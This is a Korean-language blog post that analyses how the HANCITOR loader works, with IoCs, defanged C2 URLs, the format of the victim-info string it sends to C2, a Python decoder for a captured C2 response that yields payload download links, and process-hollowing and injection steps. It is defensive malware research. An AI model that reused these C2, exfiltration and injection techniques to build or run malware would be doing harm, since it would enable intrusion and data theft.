HANCITOR 악성 문서(1)에 대한 동작 과정은 https://reversingnewbie.tistory.com/35 에서 확인할 수 있습니다.
HANCITOR 메인 로더(2)에 대한 동작 과정은 https://reversingnewbie.tistory.com/37 에서 확인할 수 있습니다.
목차
- 1. 개요
1.1) Ioc - 2. 피해자 정보 추출
2.1) OS 버전 정보 수집
2.2) GUID 생성
2.3) 피해자 IP & 계정 & 도메인 정보 수집
2.5) 피해자 정보 문자열 구축
2.6) 피해자 정보 전송 - 3. 내부 페이로드 분석
3.1) 응답 디코딩 과정
3.2) 명령 제어
3.2.1) 명령 'b'
3.2.2) 명령 'e'
3.2.3) 명령 'l'
3.2.4) 명령 'n'
3.2.5) 명령 'r' - 4. 결론

1. 개요
앞선 글에서는 HANCITOR의 유포 경로(악성 문서)와 메인 로더 구조를 다뤘다. 이번 글에서는 로더가 활성화된 이후의 실제 행위를 추적하고 C2 통신 방식과 추가 페이로드의 다운로드,실행 과정을 정리한다.
1.1) IoC
| File name | gelfor_Extract.dll |
| MD5 | b7679d55fc9b5f3447ff743eeaab7493 |
| SHA-256 | f5b25e93f249e0780cfeaeac315d95779b4b8d6d2f7d5a43e38386c4d5e3a31d |
| File type | Win32 DLL |
| File size | 59.12 KB (60535 bytes) |
| Creation Time | 2021-01-18 10:59:13 UTC |
| URL | hxxp://forkineler.com/8/forum.php hxxp://fordecits.ru/8/forum.php hxxp://yemodene.ru/8/forum.php |
| 공격자 IP | 194.147.115.132 (fxrkineler.com) <- C2 명령 전달 8.209.76.110 (4xaurpont.ru) <- 쉘 코드 다운로드 |
2. 피해자 정보 추출
C2 서버에 연결하기 전에 HANCITOR는 피해자 시스템에서 다양한 정보를 수집하고, 이들을 하나의 쿼리 문자열 형태로 조합한 뒤 암호화하여 전송한다. 이번 섹션에서는 그 문자열에 어떤 정보가 들어가는지 항목별로 살펴본다.
2.1) OS 버전 정보 수집

GetVersion()를 호출하여 윈도우 OS 버전 + 빌드 정보를 가져온다. Major/Minor 버전 추출을 위해 하위/상위 바이트를 나눈다.
2.2) GUID 생성

GetAdaptersAddresses()를 호출하여 각 어댑터의 MAC 주소를 추출하고 이를 순차적으로 XOR 연산하여 하나의 값으로 결합한다. 이후 GetVolumeInformationA()를 호출하여 시스템의 볼륨 시리얼 넘버를 획득하고 앞서 계산한 MAC 기반 XOR 값과 볼륨 시리얼 번호를 다시 한 번 XOR 연산하여 최종 GUID를 생성한다.
2.3) 계정 & 도메인 정보 수집

GUID를 생성한 이후, GetComputerNameA()를 호출하여 컴퓨터의 호스트 이름(Hostname)을 가져오고, 문자열 끝에 "@" 구분자를 붙인다.

이어서 explorer.exe 프로세스의 ID(PID)를 조회하고 sub_10003000() 루틴을 호출한다.

sub_10003000() 루틴에서는 OpenProcess(PROCESS_QUERY_INFORMATION)를 호출한다. 일반적으로 Explorer는 사용자 세션과 함께 실행되므로, 이 과정을 통해 로그인한 사용자의 컨텍스트를 추출하려는 목적임을 유추할 수 있다. 마지막으로 LookupAccountSidA()를 사용하여 현재 로그인한 사용자 계정 이름과 도메인 이름을 획득한다. 이 과정을 거치면 다음과 같은 형식의 문자열을 완성한다:
ComputerName @ Domain\User
2.4) 피해자 IP & 계정 & 도메인 정보 수집

피해자의 공인 IP 주소를 확인하기 위해 hxxp://api[.]ipify[.]org HTTP GET 요청을 수행한다. 만약 악성코드가 해당 웹사이트에 접속할 수 없는 경우에는, 대체 값으로 0.0.0.0을 사용한다.

DsEnumerateDomainTrustsA()를 호출하여 지정된 도메인에 대한 신뢰 도메인 목록을 가져오고 모든 도메인의 NetBIOS 이름과 DNS 이름을 세미콜론으로 이어붙여서 lpString1에 반환한다.

GetProcAddress로 GetNativeSystemInfo 함수 주소를 가져와 _SYSTEM_INFO를 가져온다. 프로세서 아키텍처가 AMD64값이 9인지 확인한다. 현재 시스템이 64비트인지 확인하는 루틴으로 보인다.
sub_10003400() 루틴은 x64일 경우 true를 반환, x86일 경우 false를 반환한다.
2.5) 피해자 정보 문자열 구축

최종 피해자 정보 문자열을 구축하기 전에, 내부에 저장된 구성을 RC4 알고리즘으로 암호 해독한다.

디코딩된 구성 내용을 추출하면 (그림10)과 같다.

최종 피해자 정보 문자열을 생성할 때, 이전의 sub_10003400() 루틴의 결과 값인 시스템 아키텍처(x64 또는 x32)를 기반으로 다음 두 가지 형식 중 하나를 사용한다.
x64
GUID=<Victim_GUID>&BUILD=<Build_ID>&INFO=<Machine_Information>&EXT=<Network_Domain>&IP=<Victim_IP>&TYPE=1&WIN=<Windows_major version>.<Windows_minor version>(x64)
x86
GUID=<Victim_GUID>&BUILD=<Build_ID1>&INFO=<Machine_Information>&EXT=<Network_Domain>&IP=<Victim_IP>&TYPE=1&WIN=<Windows_major version>.<Windows_minor version>(x86)
- GUID: 피해자 PC를 유일하게 식별하기 위한 고유 식별자
- BUILD: 샘플 빌드 ID, 공격자가 배포된 샘플을 추적하는 용도
- INFO: ComputerName@Domain\User 형태로, 피해자의 시스템 및 사용자 정보 포함
- EXT: 네트워크 도메인 이름(NETBIOS/DNS) 목록
- IP: 피해자의 공인 IP 주소
- TYPE: 고정 값 1, 유형 구분 용도로 사용
- WIN: Windows OS 버전과 아키텍처(x64 또는 x32)
2.6) 피해자 정보 전송

피해자 정보를 수집하고 최종 문자열을 구성한 후, HANCITOR는 구성(Config)에 포함된 C2 서버 URL 목록을 차례대로 확인 후 데이터를 C2 서버로 전송한다.


샘플 실행 과정에서 수집된 pcap 네트워크 트래픽을 확인한 결과, HANCITOR가 전송한 피해자 정보 전송에 대해 C2 서버가 아래와 같은 응답을 반환하는 것을 확인할 수 있었다
VZAEARZAEg4OCkBVVU4XGw8IChUUDlQID1VOSwlUGBMUBwEWQBIODgpAVVVOFxsPCAoVFA5UCA9VTktUGBMUBw==
응답은 Base64 인코딩된 문자열 형태이다.네트워크 패킷 캡처 시 평문으로 확인되며, 실제 악성코드는 이 값을 디코딩 후 내부 로직에 따라 해석한다.

응답 문자열은 반드시 앞 4바이트가 대문자 알파벳 대칭 구조여야 하며, 그렇지 않으면 악성코드는 해당 응답을 무효로 처리한다. 이후 응답의 패턴 관계를 확인한다.
조건1: 'Z' - Recv_Buffer[1] + 'A' == Recv_Buffer[2]
→ 두 번째 문자(Recv_Buffer[1])를 기준으로 대칭되는 알파벳이 세 번째 문자와 일치해야 한다.
조건2: 'Z' - *Recv_Buffer + 'A' == Recv_Buffer[3]
→ 첫 번째 문자(Recv_Buffer[0])의 대칭 알파벳이 네 번째 문자와 일치해야 한다.
여기서 대칭이란 A↔Z, B↔Y, C↔X 같은 형태를 의미한다.
예를 들어 Recv_Buffer[0] = 'A'라면 Recv_Buffer[3]는 'Z'여야 하고 Recv_Buffer[1] = 'B'라면 Recv_Buffer[2]는 'Y'여야 한다.
3. 내부 페이로드 분석
3.1) 응답 디코딩 과정

C2 응답이 유효하다고 판단하면, 이후 Base64 디코딩 및 XOR(z) 연산 과정을 진행한다. 해당 응답을 Base64로 디코딩한 뒤, 결과 바이트를 문자 'z'(0x7A)와 XOR하여 최종 페이로드 명령을 추출한다. 이 과정을 Python 코드로 작성하면 다음과 같다.
import base64
from itertools import cycle
b64_input = "VZAEARZAEg4OCkBVVU4XGw8IChUUDlQID1VOSwlUGBMUBwEWQBIODgpAVVVOFxsPCAoVFA5UCA9VTktUGBMUBw=="
result = "".join(chr(b ^ k) for b, k in zip(base64.b64decode(b64_input), cycle(b"z")))
print(result)

{l:hxxp://4maurpont.ru/41s.bin}{l:hxxp://4maurpont.ru/41.bin}
디코딩된 C2 응답은 다음과 같이 명령과 값으로 이루어진 쌍 형태를 가진다.
l|hxxp://...bin에서 l은 명령 제어를 hxxp://...bin은 지정된 URL에서 추가 페이로드를 다운로드하여 로드하라는 의미를 가진다.
3.2) 명령 제어

각 응답 구성 요소를 처리하기 전에 HANCITOR는 명령이 사전에 정의된 명령 목록에 포함되어 있는지를 확인한다.
허용되는 명령 목록은 다음과 같다.
‘n’, ‘c’, ‘d’, ‘r’, ‘l’, ‘e’, ‘b’

n을 제외한 모든 명령은 결과적으로 추가 악성코드 실행으로 이어진다.

명령을 응답받고 처리할 때 디코딩된 C2 응답의 구성 요소(URL)을 순차적으로 처리 후 추가 페이로드를 다운로드 받는다.

C2에서 다운로드된 페이로드는 처음 8바이트를 키(key)로 사용한 XOR 암호화가 적용되어 있다.
해당 8바이트를 키로 사용하여 파일 내용을 순차적으로 XOR 처리함으로써 암호화된 페이로드를 복호화한다.
XOR 복호화가 완료되면 RtlDecompressBuffer()를 호출하여 파일의 압축을 해제한다.
압축 해제를 통해 메모리 상에서 PE 구조가 확보되고 이후 프로세스 주입 및 실행 단계로 이어진다.
3.2.1) 명령 'b'

명령 'b'는 XOR 복호화 및 압축 해제된 페이로드를 메모리에 준비한 뒤, 이를 정상 시스템 프로세스에 주입(injection) 하여 실행하는 Process Hollowing 기술을 사용한다.

주입 대상으로 svchost.exe 프로세스를 선택 후, CreateProcessA()를 호출하여 svchost.exe를 일시 중지된 상태(SUSPENDED)로 생성한다.

앞서 svchost.exe를 일시 중지된 상태로 생성한 후, 최종 페이로드를 주입하기 위한 메모리 할당 및 쓰기 작업을 수행한다.

페이로드가 svchost.exe 내부 메모리에 완전히 주입되면 주입한 스레드가 올바른 위치에서 실행되도록 컨텍스트를 수정한다. 스레드 컨텍스트(Thread Context)를 가져와 PEB(Process Environment Block) 정보를 수정한다.이때 EBX 레지스터에 주입된 PE 파일의 이미지 베이스 주소(Image Base Address)를 설정한다.이를 통해 새로 주입된 코드가 마치 정상 프로세스의 코드처럼 실행될 수 있도록 한다.
3.2.2) 명령 'e'


C2 응답에서 명령 코드가 'e'인 경우, 해당 명령에 지정된 URL로부터 추가 페이로드를 다운로드하고, 이를 자체 프로세스 내부에 주입하여 실행한다.다른 명령(l, b)은 보통 svchost.exe와 같은 외부 프로세스를 생성하고 거기에 페이로드를 주입하는 반면에 'e' 명령은 자신의 프로세스 공간에 페이로드를 로드하고 실행한다.
3.2.3) 명령 'l'

'b'와 동일한 로직으로 일시 중지된 상태(SUSPENDED)로 svchost.exe를 생성한다.

'l' 명령은 하나의 로더로 원격 주입과 자체 주입을 지원한다. 자가 주입 시 셸코드를 실행하는 두 가지 방법이 존재하는데 시작 주소로 제어 흐름을 옮기는 단순한 함수 호출로 실행하거나 CreateThread()를 호출하여 새로운 스레드에서 실행하는 방법이 있다. 원격 주입 시는 svchost.exe 생성 (SUSPENDED)후 VitrualAllocEx() -> WirteProcessMemory()->CreateRemoteThread() 순으로 외부 프로세스에 쉘코드를 복사하여 원격 스레드 실행을 한다.
3.2.4) 명령 'n'

'n' 명령은 아무 동작도 수행하지 않는다.
3.2.5) 명령 'r'

GetTempPathA()를 호출하여 현재 사용자 세션의 Temp 디렉토리 경로를 추출한다. 예) C:\Users\<User>\AppData\Local\Temp\ ,이후 GetTempFileNameA()를 호출하여 해당 경로에 "BN" 접두사를 붙여 고유한 임시 파일 이름을 생성한다. 이후 해당 파일에 다운로드한 페이로드 데이터를 복사한다.

typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics; // <----
} IMAGE_FILE_HEADER;
is_executable() 루틴에서는 파일의 PE 헤더를 파싱하여 Characteristics 플래그를 확인하고 IMAGE_FILE_EXECUTABLE_IMAGE 플래그가 설정되어 있는지 여부로 EXE/DLL 구분한다.

EXE 파일인 경우 임시 파일의 경로를 명령줄 인자(Command Line)로 넘겨 CreateProcess()를 호출하여 새로운 프로세스를 생성한다. DLL 파일인 경우 CreateProcessA를 다시 호출하지만 실행 파일로 rundll32.exe를 지정 명령줄 인자로 다음과 같이 전달하여 악성 DLL의 Export 함수를 실행한다.
rundll32.exe <임시 파일 경로>,<내보내기 함수 이름>
4. 결론
HANCITOR는 악성문서(매크로)에 의해 시작되는 (downloader → loader → payload) 공격 체인을 사용한다. 메인 로더는 패커로 보호되어 정적 분석을 어렵게 만들고 런타임에 메모리 언패킹을 통해 실제 페이로드를 복원한다. 또한 C2 응답에 대해 서명 검증을 수행한 뒤(Base64 → XOR 등) 디코딩하여 명령을 파싱하고 필요에 따라 동적으로 추가 모듈을 다운로드,복호화,압축해제를 한 뒤 메모리 주입 또는 자체 실행으로 이어지게 함으로써 분석을 어렵게하고 AV 탐지를 회피한다.
'Reversing > Malware Analysis' 카테고리의 다른 글
| [Lumma Stealer] Heaven's Gate 기법을 활용한 악성코드(2) (1) | 2025.11.08 |
|---|---|
| [Lumma Stealer] clickfix 기법을 활용한 악성코드 유포(1) (1) | 2025.10.04 |
| [BPFDoor] 악성코드 분석 - 패킷 필터를 악용하는 악성코드 (0) | 2025.09.19 |
| [HANCITOR] 악성코드 분석(2) - 압축된 페이로드 분석 (0) | 2025.09.06 |
| [HANCITOR] 악성코드 분석(1) - 악성 문서 형식으로 유포되는 악성코드 (0) | 2025.09.05 |